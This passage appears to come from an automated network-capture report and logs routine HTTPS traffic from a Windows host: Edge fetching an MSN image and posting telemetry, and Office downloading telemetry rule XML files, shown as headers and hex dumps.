{tjD(S'xE~$BaG-kC%1vR8@knC=`_--9>e9&":4ebox{i;C!<urU4\qlMNm3R'bHtA. }[8;c"^N(>+E,z,&&-&<}n@p
2024-11-28 10:05:42 UTC	16384	IN	Data Raw: 61 a0 7d d3 73 f2 b2 8b 54 5d a4 29 97 88 43 96 52 93 64 97 69 3d 32 47 35 00 1e d3 ce dd e8 6f c0 c0 29 b6 d2 33 3a cd cc 11 98 84 1a 6d bc 67 ae e8 51 7c b9 6f 1c c5 99 2c 61 0d 97 0b cc 93 d3 ea a3 bd f7 bc 11 9e 76 58 5c 31 11 61 b4 c7 28 fa 20 36 9f f2 9b 48 00 1f 1e 9b 96 39 fe 7e 63 89 26 7a ae 89 00 67 02 26 22 33 43 c6 5c 0d f3 ee ee 93 cd 3a 6d 1f 75 cb 46 b0 62 48 31 d7 92 60 17 5d c0 81 a6 92 47 4f aa e8 b5 64 5c 16 69 25 f9 58 08 ca df f6 f8 ea 83 67 bb 17 f6 c6 cb 6d e7 bb 6a 2c c9 b3 a2 d3 06 45 f9 d9 52 70 c8 75 ae 20 72 df bd 1f 56 79 ef a1 20 c8 2e c6 08 dc 3f 5c 90 8c 5b 14 69 97 4f cc 74 e8 b1 95 33 81 17 36 9e b9 ab 97 3a 26 24 9b 48 89 1b 23 9f 25 a6 d9 19 bc c0 07 c9 80 00 04 0b cc 9b 93 f2 09 b0 b2 a1 2e df 98 02 40 9c 86 de 51 d5 Data Ascii: a}sT])CRdi=2G5o)3:mgQ\|o,avX\1a( 6H9~c&zg&"3C\:muFbH1`]GOd\i%Xgmj,ERpu rVy .?\[iOt36:&$H#%.@Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.7	49912	104.117.182.59	443	7580	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:41 UTC	634	OUT	GET /tenant/amp/entityid/BB1msyO5.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 10:05:42 UTC	520	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Wed, 20 Nov 2024 06:31:45 GMT X-Datacenter: northeu X-ActivityId: d6b39d3f-d287-49b5-a5be-b8a97df370ee Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msyO5 X-Source-Length: 76988 Content-Length: 76988 Cache-Control: public, max-age=116898 Expires: Fri, 29 Nov 2024 18:33:59 GMT Date: Thu, 28 Nov 2024 10:05:41 GMT Connection: close
2024-11-28 10:05:42 UTC	15864	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-28 10:05:42 UTC	16384	IN	Data Raw: b5 c5 05 43 29 8a 72 20 8a e2 1a 32 43 62 20 26 80 63 7d 7b d8 e0 e8 db fa 65 ef 15 8d b2 95 7c b4 15 93 99 29 f2 a4 49 8c c4 49 17 09 2f 84 81 61 d6 ca d3 ab 69 8d 1c 71 43 22 1e 02 48 02 3a 81 e3 46 40 91 4a f7 bb da ec 0d 04 6b f7 57 88 e5 2c d1 94 8c 80 42 92 4c 02 60 8a 49 d2 e3 79 b9 f2 92 df 43 7b 20 da dc 52 54 b0 95 14 22 33 a8 02 52 9c df 6e 63 a0 9b 25 e5 5c f6 4d 3d fd 1e 3a 6b cb 8a 3b 0e 43 29 1e 81 16 cf a4 36 21 a9 79 54 a1 e3 57 b4 b1 9b 73 6f e5 a8 0c c8 5c a5 26 50 64 54 4c 1d 2a 34 20 e8 5a 29 20 68 66 97 69 83 8a 0b 8e cb ba 60 f2 d2 18 f4 71 27 29 07 2a 54 05 8a 98 f4 20 fa b6 24 92 4d a5 8d e6 44 71 b4 36 31 48 1d cf 16 3c a8 4f 45 3d cd d5 13 4d 38 c0 31 bc b4 d1 41 5d 75 11 a3 d9 48 d4 11 22 46 22 f0 eb c4 93 7d 3d 18 7a f1 0d 80 Data Ascii: C)r 2Cb &c}{e\|)II/aiqC"H:F@JkW,BL`IyC{ RT"3Rnc%\M=:k;C)6!yTWso\&PdTL4 Z) hfi`q')T $MDq61H<OE=M81A]uH"F"}=z
2024-11-28 10:05:42 UTC	1996	IN	Data Raw: 4c cf 2e 4c da 69 5a ce 0d 14 67 9e be fb 5c 02 22 c9 75 28 cc a8 11 6e a4 0f 53 47 63 8a eb 83 64 c2 4c a8 12 2d 83 58 c0 c1 1e 8c 39 cc 35 ab 35 f7 1c 3d a2 8d 1c 02 88 ab 60 a2 9a 83 14 23 91 d4 7e ac 8a 9b 7c 2a 18 a1 9a 30 04 83 09 98 d6 06 82 6d ba ad 28 cd 40 9a 1f 34 dd 64 6b 33 d4 43 14 03 5a e8 c2 0d b5 65 cd 96 13 31 36 02 74 9c 68 c5 18 f1 ee 6e 64 69 2d 60 9e 25 c5 04 cb 51 ab 21 12 f4 38 d0 51 26 83 e2 c7 0f a4 95 24 cd 41 07 b1 ea e4 a4 85 4c e6 b2 22 31 9f 73 83 9a 1e 20 eb cb 5f 73 78 6b 0c a1 43 8f ac 6c 95 10 10 42 89 1a 69 18 49 81 65 23 c5 88 88 89 8d 38 97 96 9f 4f 29 64 02 6c 7d 35 88 b2 66 fa ba 12 01 f5 10 fc 4f 75 06 13 03 47 21 98 27 bb 62 2a c5 04 9c c8 20 82 44 41 ed 0f a3 7b 71 5b cb 2b 51 95 2a a6 23 5e 9e e7 53 b4 57 f6 a6 Data Ascii: L.LiZg\"u(nSGcdL-X955=`#~\|0m(@4dk3CZe16thndi-`%Q!8Q&$AL"1s _sxkClBiIe#8O)dl}5fOuG!'b DA{q[+Q*#^SW
2024-11-28 10:05:42 UTC	16384	IN	Data Raw: 52 75 8c 4d 03 f9 9b 9f 56 9c a0 44 47 1c db 90 2d 0f a9 08 12 24 d2 45 75 e7 0f af 7f 61 1b 4b 84 28 2c 40 20 c4 4f 29 a3 5a d3 ce 4c 8d 29 db c1 e8 17 5b 7b 3a 53 2d f2 fa b5 94 04 09 7b 2b eb 09 e3 d8 f2 92 45 81 cd cb 4e 43 21 96 15 07 1d 6b ab 26 53 ab 31 12 80 21 23 59 55 6b df dd 0e da 53 8d 2c d2 4d 1b 47 76 f0 d6 53 9b 28 d7 59 7b 27 2f 57 d6 94 6b 58 b6 da b5 ca d6 b4 e6 29 33 73 5c 3e 2f b0 0e 23 56 22 9b 9d b4 a4 02 5e e2 59 72 b6 89 b3 8c 5a ca 00 8e 3d ec 99 7e 3c 43 71 a7 c1 e8 92 ed 94 18 fb 9f 52 86 de 51 13 9a d9 d3 91 d7 93 50 32 90 44 86 e5 27 2e 69 e5 6b 5b 34 06 59 ba 19 33 2a 32 92 60 57 09 be 19 90 48 04 00 2a 20 c8 07 a5 c5 a2 81 0e 5a d0 51 73 42 98 b1 9c 09 6a 52 ed 94 e7 d5 e8 e3 89 66 ca f4 35 a5 05 14 70 06 78 7b 2b d5 94 09 Data Ascii: RuMVDG-$EuaK(,@ O)ZL)[{:S-{+ENC!k&S1!#YUkS,MGvS(Y{'/WkX)3s\>/#V"^YrZ=~<CqRQP2D'.ik[4Y32`WH ZQsBjRf5px{+
2024-11-28 10:05:42 UTC	16384	IN	Data Raw: 54 50 4e 51 a1 af 34 dc c8 84 85 a6 48 13 e3 cb e0 f8 5e 53 3b 61 d7 48 d5 ce 95 5d ab ea 40 98 f5 b9 f3 9d b8 9a 14 c6 b3 30 e6 7f 2c 0d 2d b6 5d 8d 3a 93 af 47 b7 f3 f6 f6 84 7d c4 9b 18 4a f7 77 e8 3c b7 c5 d8 97 e6 ed a9 22 49 3e 8c aa fa ec a2 36 d3 cc fb 07 bd f7 f5 22 af 29 af 28 71 d9 37 a4 5f 9c bd 54 ed a7 6c 12 a8 e7 40 f9 d5 f5 63 4d b1 98 df a0 f6 97 e0 af 71 4b 33 b8 a2 78 b9 8c ee 13 41 41 c6 af 8e 5d fa e9 a7 f3 ff 00 8d c7 6b 9e bf c3 b7 77 79 4b 31 9b 36 03 ed 0c 47 6c c6 63 5a c3 1a 32 a0 4a b5 b0 5a ee e6 f9 58 80 02 53 77 c5 f1 9c b1 ab ca 75 9e 90 eb 11 31 a4 7b ba 7e 62 36 c4 50 9b 87 b5 f2 2b 70 ac d7 4b 00 d1 f3 b7 90 31 bb e2 f1 3d c9 cb ca 23 83 71 8c 47 9c 8c 20 41 3a 5d 69 7d 31 03 32 8c 13 f6 a6 e1 7e 0f 9c 42 08 52 aa 7f 0b Data Ascii: TPNQ4H^S;aH]@0,-]:G}Jw<"I>6")(q7_Tl@cMqK3xAA]kwyK16GlcZ2JZXSwu1{~b6P+pK1=#qG A:]i}12~BR
2024-11-28 10:05:42 UTC	7952	IN	Data Raw: 46 35 6b 37 36 83 73 b0 7f 0b 88 42 70 0d 69 c1 2d e0 fe 17 b2 9b 9d 42 47 7e ae d9 f1 6d 04 7e 53 d5 ca 5c ca dc 6a d1 b4 0b 9c 75 08 92 4e a3 2f 7f 83 78 17 87 a9 7b 87 bb 0d 02 f7 20 5e 3a 3b cd e6 1b 28 bd ec a1 c7 22 18 5c ae 46 2e b1 a9 21 51 36 19 15 23 c1 85 8c 5a 64 02 48 02 4e bc 68 df 2f 12 d7 9c b0 d5 1f 94 75 0d 6b 71 3d 1d 13 6c 72 75 82 09 22 ec 1b 47 2e ef 4b 9a fe 8c 21 c5 ea 61 cc 38 4f 67 73 0b bd 18 68 c0 78 b4 88 ba 3b 7c 5b 4e 0e e6 b8 30 5c a3 0c 63 f5 76 3b 3c 15 83 d9 81 bd 84 ad 84 47 37 79 b8 54 1a e6 ff 00 30 ec 5d 0f c6 ae 4e 07 ab 59 18 f7 a7 b1 ec c2 f3 e9 ec 74 37 22 d0 9c 3d 1d 2a d7 cd 1d 3d 8d 4a a3 f3 30 b9 86 23 c1 a9 50 34 3e 0f 66 2e 09 c3 d4 fb 98 69 c4 b5 80 e1 0a 38 72 0d 83 09 23 16 82 6d 2c 87 30 3a 4f 6f 89 72 Data Ascii: F5k76sBpi-BG~m~S\juN/x{ ^:;("\F.!Q6#ZdHNh/ukq=lru"G.K!a8Ogshx;\|[N0\cv;<G7yT0]NYt7"=*=J0#P4>f.i8r#m,0:Oor
2024-11-28 10:05:42 UTC	2024	IN	Data Raw: e8 2b ba b1 3a e0 2c 3c c5 2f 66 0c 0a ec b1 66 7b 36 0c 0d 2e 4b 1c 93 63 de 6b 98 16 5e 96 3a 8b 1d d5 81 25 d9 63 75 83 4b b2 c7 2f 66 60 67 65 87 3b 69 60 ee 4b 49 6a 4c 30 33 20 81 ab e5 ce c9 99 81 e4 5c d1 a6 b6 16 c0 e0 c2 bc df 5e 03 6c b8 b2 85 0d a1 c5 79 45 2a c7 9e 70 60 78 76 8c 39 9b 66 70 1a 97 16 3c b0 f6 7c 5c cc 38 96 0f 4b 9b 03 80 62 cc 1d 0a 60 43 07 50 d2 96 36 7b 9b 8a 90 1d 87 89 86 c1 4c 30 43 7c 84 37 0b 01 a9 dc 06 c9 61 80 c7 d5 d8 c6 5f 29 d6 94 6e c0 a0 4b b9 53 7b 1b 86 6f 86 17 47 66 5a c3 cc 1e 1b 72 69 2f 4b 0d dd b7 66 8d c5 18 56 ae e6 76 58 67 5a 73 79 83 c3 99 4b d3 8b 93 8b 05 20 38 ed 1e 61 9d 87 a5 ec cc 2c 3b a3 99 f1 61 cc 25 81 21 d8 c5 ae 60 f6 61 73 07 81 8b 90 d7 e6 07 33 86 0e da 8c 5f 30 62 e0 54 b0 3c 5f Data Ascii: +:,</ff{6.Kck^:%cuK/f`ge;i`KIjL03 \^lyE*p`xv9fp<\|\8Kb`CP6{L0C\|7a_)nKS{oGfZri/KfVvXgZsyK 8a,;a%!`as3_0bT<_

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.7	49909	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:41 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:42 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:41 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: fdde7aaa-d01e-0028-2a8c-3f7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100541Z-174f7845968kdththC1EWRzvxn0000000ap0000000003r73 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:42 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.7	49910	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:41 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:42 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:42 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: c668448b-101e-007a-2d91-3f047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100542Z-174f7845968pf68xhC1EWRr4h80000000yeg000000007y0t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:42 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.7	49914	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:42 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:43 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:43 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 42ae9f56-701e-0001-1d37-40b110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100543Z-174f7845968kdththC1EWRzvxn0000000apg0000000030he x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:43 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.7	49916	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:43 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:43 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:43 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 8c2ab893-e01e-0003-5391-3f0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100543Z-174f7845968xr5c2hC1EWRd0hn0000000f5g000000002wwb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:43 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.7	49917	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:43 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:44 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:43 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: db214257-301e-0052-7169-4065d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100543Z-174f7845968px8v7hC1EWR08ng0000000yk0000000003s81 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:44 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.7	49918	13.89.179.11	443	7580	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:43 UTC	1044	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732794608148&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 11570 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=3E27FF0838006C7C38C4EA4D39726D3F; _EDGE_S=F=1&SID=361A358C57776DC7031420C956396CC7; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-28 10:05:43 UTC	11570	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 38 54 31 31 3a 35 30 3a 30 38 2e 31 34 31 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 32 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 35 34 30 30 62 63 34 37 2d 63 34 62 34 2d 34 33 30 35 2d 39 62 32 33 2d 62 31 34 66 35 30 31 61 39 33 65 62 22 2c 22 65 70 6f 63 68 22 3a 22 33 34 33 31 39 32 37 36 33 32 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-28T11:50:08.141Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":2,"installId":"5400bc47-c4b4-4305-9b23-b14f501a93eb","epoch":"3431927632"},"app":{"locale
